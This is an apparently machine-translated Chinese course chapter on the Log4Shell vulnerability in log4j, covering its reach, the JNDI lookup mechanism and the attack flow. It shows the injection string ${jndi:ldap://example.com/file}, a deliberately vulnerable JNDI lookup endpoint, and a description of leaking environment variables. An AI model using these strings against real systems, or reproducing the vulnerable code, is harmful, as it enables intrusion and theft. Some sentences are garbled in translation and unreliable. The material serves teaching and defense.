7.1 醜聞

當然,不可能不講述最近發生的故事——發生在 2021 年底。

Log4Shell

美國網絡安全和基礎設施保護局(CISA)表示,該問題Log4Shell是歷史上最嚴重的漏洞之一。是的,我們正在談論我們最喜歡的圖書館log4j

我們舒適的小圖書館log4j 和歷史上最大的漏洞?感興趣嗎?然後聽。

7.2 災害規模

Log4ShellLunasec 安全專家於 2021 年 12 月 9 日宣布發現了一個嚴重漏洞(代碼 CVE-2021-44228)。Apache Security Team Java 社區的專家已驗證此信息並發布了易受攻擊的 Java 庫列表。名單非常龐大。

如果一個 Java 項目使用了一個庫log4j,那麼它很容易被黑客攻擊。據安全專家稱,鑑於幾乎所有服務器軟件都是用最流行的 java 記錄器編寫的Javalog4j該漏洞影響了 93% 的企業雲環境。包括 Amazon AWS、Microsoft Azure、Google Cloud、Cloudflare、iCloud、Minecraft、Steam 等

而且,該漏洞不僅影響服務器軟件,還影響許多Java應用程序,以及硬件製造商。例如,英特爾發布了一份包含 32 個可破解程序的列表:SDK、服務器維護系統、Linux 工具。

Nvidia 還發布了一份安全問題報告,其中提到了 DGX 服務器和 NetQ 工具。蘋果和微軟緊急發布了多項更新。

粗略地說,學生瀏覽器地址欄中的一行如果該行被記錄器吃掉(在許多服務器上,所有內容都被記錄HTTP-requests),則放置服務器。

分析代碼後發現,該漏洞自 2013 年以來一直存在於庫中,但他們現在才注意到。當他們開始更深地挖掘時,他們發現了一個深淵,根本看不到底部。

7.3 史上最嚴重漏洞

早在 2021 年 12 月,美國網絡安全和基礎設施保護局 (CISA)就表示Log4Shell是歷史上最嚴重的漏洞之一

許多其他專家也表達了類似的觀點。每個人都知道這個漏洞,各個年齡段的黑客都已經在使用它來竊取個人數據和對各種組織進行其他類型的攻擊。在未來,我們正在等待一波大規模的黑客攻擊和數據洩露。

災難的規模甚至可以通過以下事實來衡量:有一個單獨的站點包含關於 Log4j 的模因,並且每天都有新圖片。

這個問題困擾我們很久了。數百萬甚至數億計算機系統中的安全漏洞。所有舊軟件都需要更新,至少要替換這個庫。但在大多數情況下,甚至沒有人知道他們的軟件中使用了哪些庫和哪些版本。

總的來說,我們預計計算機安全專家的薪水會大幅增加。

7.4 脆弱性的性質

要了解漏洞的本質,您需要了解大型服務器系統是如何安排的。通常這樣的服務器應用程序被分解成位於不同服務器上的不同服務。而 JNDI 服務幫助它們進行交互。

Java 命名和目錄接口 (JNDI)Java API按名稱查找對象/服務。這些對象可以存儲在各種命名服務或目錄中,例如遠程方法調用 (RMI)、通用對象請求代理架構 (CORBA)、輕量級目錄訪問協議 (LDAP) 或域名服務 (DNS)。

使用它非常簡單——它很簡單,Java API只需要一個字符串參數——服務的名稱。有了它,您可以聯繫任何服務並要求他做某事和/或發送一些數據。例如,string${jndi:ldap://example.com/file}將從 thisURL中指定的字符串中加載數據。

如果參數來自不受信任的來源,則可能導致遠程類加載和第三方代碼執行。的情況下會發生什麼Log4j。攻擊者只需將受害者的 Java 應用程序定向到惡意應用程序rmi/ldap/corba-server並接收惡意對像作為響應。

從技術上講,這裡的問題不在於log4j庫本身,而在於使用JNDI-service. 你總是需要檢查我們傳遞給什麼樣的字符串InitialContext.lookup()

易受攻擊的例子JNDI-applications


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 太聰明的圖書館

你在哪裡log4j問?問題是它的開發人員希望盡可能舒適地使用它並向其添加智能日誌記錄。它是這樣工作的:

這一切都始於這樣一個事實,即日誌消息允許您設置一個替換數據的模板,例如:


log.debug(“User {user} has {count} friends”, user, count);

沒有數據替換的舊版本如下所示:


log.debug( “User “+user +” has “+ count +” friends”);

2013年,庫中也加入了視圖模板指定的智能前綴替換${prefix:name}。例如,字符串“${java:version}”將被轉換為«Java version 1.7.0_67». 哦,多麼方便。

在可識別的表達式中,${jndi:<lookup>}您可以在 jndi 協議之後指定搜索通過的地方LDAPURL-address可以查詢和加載任意對像數據Java

這是整個方法的一個標準問題JDK:它自動反序列化一個對象,可以以 url 的形式設置到該對象的鏈接。在這種情況下,不僅要從遠程資源加載對象的數據,還要加載其類的代碼。

黑客看起來像這樣:

  • 下載帶有惡意代碼的文件
  • 文件包含序列化Java an object(及其類)
  • 課程正在加載Java-machine
  • 創建了一個惡意類的對象
  • 對象的構造函數被調用
  • 構造函數和靜態初始化都允許執行惡意類代碼

如果正在記錄的行中log4j有類似內容${jndi:ldap://example.com/file},那麼當連接到 Internet 時log4j它將從中下載數據URL-address。通過輸入記錄的字符串,攻擊者可以下載並執行託管在公共URL-address.

即使禁用了數據執行,攻擊者也可以通過將其放置在 中來獲取數據,例如秘密環境變量,然後URL-address替換它並將其發送到攻擊者的服務器。

好消息是這個問題很快就在庫中解決了

壞消息是全球數百萬台服務器仍在運行這個庫的舊版本......